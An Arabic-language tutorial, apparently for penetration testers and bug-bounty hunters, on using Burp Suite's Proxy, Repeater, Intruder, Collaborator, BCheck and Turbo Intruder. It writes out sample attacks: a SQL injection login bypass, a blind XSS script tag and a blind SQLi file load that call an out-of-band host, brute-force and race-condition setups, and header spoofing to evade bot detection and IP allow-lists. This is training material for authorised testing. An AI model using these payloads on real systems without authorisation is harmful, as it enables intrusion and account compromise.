الفرق الحمراء — الهجوممتقدم120mL48

إتقان Burp Suite — ممارسات المحترفين

Proxy, Repeater, Intruder, Collaborator, BCheck

#Burp#Proxy#Intruder#Collaborator#BCheck

ما هي Burp Suite — و لماذا يعتمد عليها المحترف؟

تشبيه — شرح مبسط
تخيّل المتصفح كنافذة. الـ Burp يضع طاولة قراءة بينك و الموقع: كل طلب يمرّ منها، تستطيع التقاطه، تعديله، إعادة إرساله ألف مرة، أو فحصه آلياً. هي ليست أداة "تخترق لك" — هي عدسة مكبّرة + مفتاح ربط يُحوّل المتصفح إلى مختبر.
استخدام مصرّح به فقط
Burp قانونية تماماً، لكن استخدامها على نطاق غير مفوّض = جريمة. اعمل دائماً داخل scope مكتوب: pentest، bug bounty، أو مختبرك الخاص (Juice Shop, DVWA, PortSwigger Academy).

هذا الدرس عملي بحت: ليس "ما هي Repeater؟" — بل كيف يستخدمها أبطال bug bounty لإيجاد ثغرات يدفع فيها Google أو Microsoft 50,000 دولار.

الإصدارات و الترخيص

  • Community (مجاني): Proxy، Repeater، Decoder. Intruder بطيء جداً (rate-limited)، لا scanner. كافٍ للتعلم.
  • Professional (~$475/سنة): Intruder سريع، Scanner، Collaborator، BCheck، Extender كامل. هذا ما يستخدمه 99% من المحترفين.
  • Enterprise: للفرق و CI/CD. لا علاقة لها بالـ pentest اليدوي.

الإعداد الأولي — 10 دقائق توفّر عليك سنوات

01
تركيب شهادة Burp في المتصفح

بدون الشهادة لن ترى HTTPS. شغّل Burp، افتح متصفح embedded أو أعدّ Firefox/Chrome.

bash
# 1) Burp يستمع على 127.0.0.1:8080
# 2) Firefox: Settings → Network → Manual proxy → 127.0.0.1:8080
# 3) زُر http://burp → Download CA → استورد للمتصفح كـ "Trusted CA for websites"
# أو استخدم Foxy Proxy + Burp embedded browser (الأسهل)
02
ضبط الـ Scope

أهم خطوة على الإطلاق. بدون scope، Burp يسجّل كل طلب من المتصفح (Twitter, Gmail, إلخ) و تختنق الـ history.

text
Target → Scope → Add
Use advanced scope control → Include in scope:
  Protocol: Any
  Host: ^.*\.target\.com$
  Port: ^443$
ثم في Proxy → Options → "Drop all out-of-scope items"
03
إعدادات Repeater و Intruder للسرعة
text
User options → Misc → Updates → Disable auto-update
User options → Display → Font → ضع Mono و كبّره
Project options → Sessions → Cookie jar = scope only
Project options → HTTP → Redirections = Always (في scope)
04
Extensions الأساسية (BApp Store)
  • Logger++: سجل قابل للبحث لكل طلب — لا غنى عنه.
  • Autorize: فحص IDOR/Auth تلقائياً عبر تكرار الطلب بـ session أخرى.
  • Hackvertor: ترميز/فك ترميز لكل صياغة (URL, base64, Unicode, JWT).
  • JSON Web Tokens: تحرير JWT و إعادة توقيع.
  • Param Miner: اكتشاف parameters/headers غير موثقة.
  • Turbo Intruder: 30,000 طلب/ثانية + single-packet attack.
  • HTTP Request Smuggler: كشف و استغلال desync.
  • Active Scan++: تمديد scanner المدمج.
  • Backslash Powered Scanner: للـ injection bugs العميقة.

Proxy — التقاط و تعديل

القلب. كل طلب يمرّ هنا أولاً. عطّل Intercept افتراضياً (إلا عند الحاجة) — اعمل من HTTP History.

text
Proxy → HTTP history
كليك يمين على طلب:
  → Send to Repeater (Ctrl+R)        — لتعديل و تكرار يدوي
  → Send to Intruder (Ctrl+I)        — لـ fuzzing
  → Send to Comparer                 — للـ diff بين ردين
  → Do active scan                   — لفحص آلي (Pro)
  → Engagement tools → Find references — أين يظهر هذا الـ endpoint
حيلة احترافية

Match & Replace في Proxy → Options: حقن header مثل X-Forwarded-For: 127.0.0.1 على كل طلب تلقائياً، أو إزالة If-Modified-Since لإجبار ردود حية.

Repeater — أصدقاؤك المخلصون الأربعة

90% من الـ bug bounty يتمّ في Repeater. اتقنه و أنت حر.

  1. Tabs مرتّبة بالألوان: كليك يمين → Color. أحمر = ضعيف، أخضر = critical، أصفر = قيد التحقيق.
  2. Ctrl+Space للإكمال داخل القيم.
  3. Inspector panel: حرّر JSON/headers/params كجدول، يبني الـ raw request تلقائياً.
  4. Send group in single packet: أساس race conditions (Ctrl+Shift+G لجميع tabs).
  5. Show response in browser: لرؤية رد فيه HTML/JS كأنه صفحة كاملة (مفيد للـ XSS).
text
# سيناريو نموذجي:
1) التقط طلب login من Proxy
2) Send to Repeater → عدّل username إلى admin' OR 1=1--
3) Send → لاحظ الفرق في الرد
4) لو ناجح: حفظ الطلب كـ "vulnerable-login.req" → Save items

Intruder — fuzzing احترافي

هنا ترسل آلاف الطلبات بقيم مختلفة. أربعة أوضاع:

Sniper (مفرد)

قائمة واحدة، position واحد في كل طلب. للـ basic fuzzing.

text
GET /api/user/§1§ HTTP/1.1
Payload: numbers 1..1000
Battering Ram

نفس القيمة في كل المواقع. لاختبار credentials في عدة حقول.

Pitchfork

قائمتان متوازيتان. للـ user/password pairs.

Cluster Bomb

كل تركيبة من قائمتين أو أكثر. brute-force كامل.

text
POST /login
user=§§ & pass=§§
Payload set 1: users.txt
Payload set 2: passwords.txt
تحليل الردود

الـ Intruder لا "يخبرك" أن شيئاً نجح — أنت تستخرج الإشارة:

  • Length: رد ناجح غالباً مختلف الطول.
  • Status code: 200 ضمن بحر 401 = نجاح.
  • Grep - Match: علّم الردود التي تحتوي "Welcome" أو "error".
  • Grep - Extract: استخرج قيمة (مثل CSRF token الجديد).
  • Time: اضغط على عمود Time للـ blind time-based.

Collaborator — الإذن الذي يصرخ من الداخل

تشبيه — شرح مبسط
Collaborator هو دومين عام يلتقط أي اتصال DNS/HTTP/SMTP يصله. لو طلبك سبّب الـ server يصدر طلب DNS لـ abcdefg.oastify.com، تعرف أن الكود نفّذ — حتى لو لم يردّ شيئاً.
text
Burp → Collaborator → Copy to clipboard
استبدل في Repeater:
GET /fetch?url=http://YOUR-COLLAB.oastify.com/probe HTTP/1.1
↓ Send
↓ ارجع لـ Collaborator → Poll now → ستجد:
   - DNS lookup من target's IP
   - HTTP GET من user-agent معيّن
= SSRF/SSTI/XXE مؤكدة بدون ضرر
حالات استخدام
  • Blind XSS: حقن <script src=https://x.oastify.com/x.js> — انتظر assistant/admin يفتح صفحة.
  • Blind SQLi: '; SELECT load_file('\\\\\\\\x.oastify.com\\\\share') --
  • Blind XXE: external entity تشير لـ Collaborator.
  • SSRF: استبدل أي URL في request بـ subdomain جديد.
  • Email injection: SMTP probe في حقل البريد.

Scanner و BCheck — الفحص الآلي الذكي (Pro)

Scanner المدمج جيد، لكن السلاح السرّي هو BCheck — لغة DSL لكتابة فحوصات مخصصة. تكتبها مرة و تشغّلها على كل برنامج bug bounty.

text
metadata:
    language: v2-beta
    name: "Detect debug.php"
    description: "ارسل /debug.php و افحص رد"
    author: "you"

run for each:
    debug_path =
        "/debug.php",
        "/debug.html",
        "/.env"

given any host then
    send request called check:
        method: "GET"
        path: `{debug_path}`
    if {check.response.status_code} is "200" and
       {check.response.body} matches "DB_PASSWORD" then
        report issue:
            severity: high
            confidence: certain
            detail: `Sensitive file at {debug_path}`
    end if

BCheck files تذهب في ~/AppData/Roaming/BurpSuite/bchecks/ ثم Scanner → Issues → BChecks → Reload.

Comparer + Decoder + Sequencer

  • Comparer: Words/Bytes diff بين ردين. مفيد جداً لـ blind boolean — قارن رد id=1 بـ id=1' OR 1=1--.
  • Decoder: ترميز/فك ترميز بضغطة. قاعدة 64، URL، HTML، Hex، Hash. يمكنك تكديس عمليات.
  • Sequencer: تحليل عشوائية tokens (session ID, CSRF). يجمع 10,000+ token و يحسب entropy. مفيد لتقييم RNG ضعيف.

Match & Replace — قوة خفية

text
Proxy → Options → Match and Replace → Add:
Type: Request header
Match: ^User-Agent: .*
Replace: User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)
[ ] Regex match
  • تجاوز bot detection بانتحال Googlebot.
  • حقن X-Forwarded-For: 127.0.0.1 لتجاوز IP whitelist.
  • إزالة Origin لاختبار CORS.
  • استبدال JWT تلقائياً في كل طلب.
  • حقن debugger statement في كل JS مردود.

Macros و Sessions — للـ workflows المعقدة

التطبيق يطلب CSRF token جديد لكل طلب؟ Burp يمكنه استخراجه من رد سابق و حقنه آلياً.

text
Project options → Sessions → Macros → Add
1) سجّل: GET /login → استخرج _csrf من body
2) Session handling rule:
   Scope: matches /api/*
   Action: Run macro to get _csrf, then update _csrf parameter

نتيجة: Intruder/Scanner يعملان عبر تطبيق محمي بـ CSRF بدون أي عمل يدوي.

Turbo Intruder — للسرعة الجادة و Single-Packet

python
# Burp → Extender → Turbo Intruder → New attack
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=5,
        requestsPerConnection=100,
        pipeline=False,
        engine=Engine.BURP2
    )
    # لـ race condition — single packet
    for i in range(30):
        engine.queue(target.req)
    engine.openGate()

def handleResponse(req, interesting):
    if "success" in req.response:
        table.add(req)

30,000 طلب/ثانية ممكن. استخدمه ضد credential stuffing على بيئتك، أو race على coupon redemption.

نصائح يستخدمها أبطال bug bounty

  1. كل project = ملف منفصل. File → New project → Disk-based. لا تخلط أهدافاً.
  2. احفظ كل ساعة. Burp يتعطل أحياناً مع projects كبيرة.
  3. Logger++ ON منذ اليوم الأول. ستحتاج للبحث عن "أين رأيت هذا الـ parameter؟" بعد أسبوع.
  4. اكتب Notes في Repeater: كليك يمين → Add comment. السرعة في الكتابة الآن = سرعة في الـ report لاحقاً.
  5. ابحث في History بـ Bambdas: requestResponse.request().urlContains("graphql") → فلتر فوري.
  6. استخدم Param Miner قبل أي شيء: قد يكشف X-Original-URL أو header مخفي يفتح كل شيء.
  7. لا تثق بالـ Active Scanner وحده. هو يجد 30%، الباقي يدوي.
  8. Save state قبل كل تجربة خطيرة. لو دمّرت session، استعد.
  9. Burp Collaborator دائماً ON. ربع ثغراتي الحقيقية كانت OOB.
  10. اقرأ Release Notes لكل تحديث. PortSwigger يضيف تقنيات قتل (مثل Inspector) باستمرار.

بدائل Burp — متى و لماذا

  • OWASP ZAP: مجاني تماماً، CLI ممتاز للـ CI/CD، لكن UI أبطأ من Burp Pro.
  • Caido: 2024+، Rust، أسرع، UI حديث. منافس جدي لـ Burp.
  • mitmproxy: terminal-based، مثالي للـ scripting Python و mobile.
  • HTTP Toolkit: للـ debug أكثر من الاختراق، لكنه ممتاز للـ mobile/desktop apps.

مصادر للإتقان

  • PortSwigger Web Security Academy — مجاني، يعلّمك Burp و الثغرات معاً.
  • BApp Store — تصفّحه شهرياً، إضافات جديدة باستمرار.
  • YouTube: PortSwigger Research — James Kettle يكشف تقنيات قبل أن تظهر في Burp.
  • Twitter / X: تابع @albinowax, @Rhynorater, @JHaddix.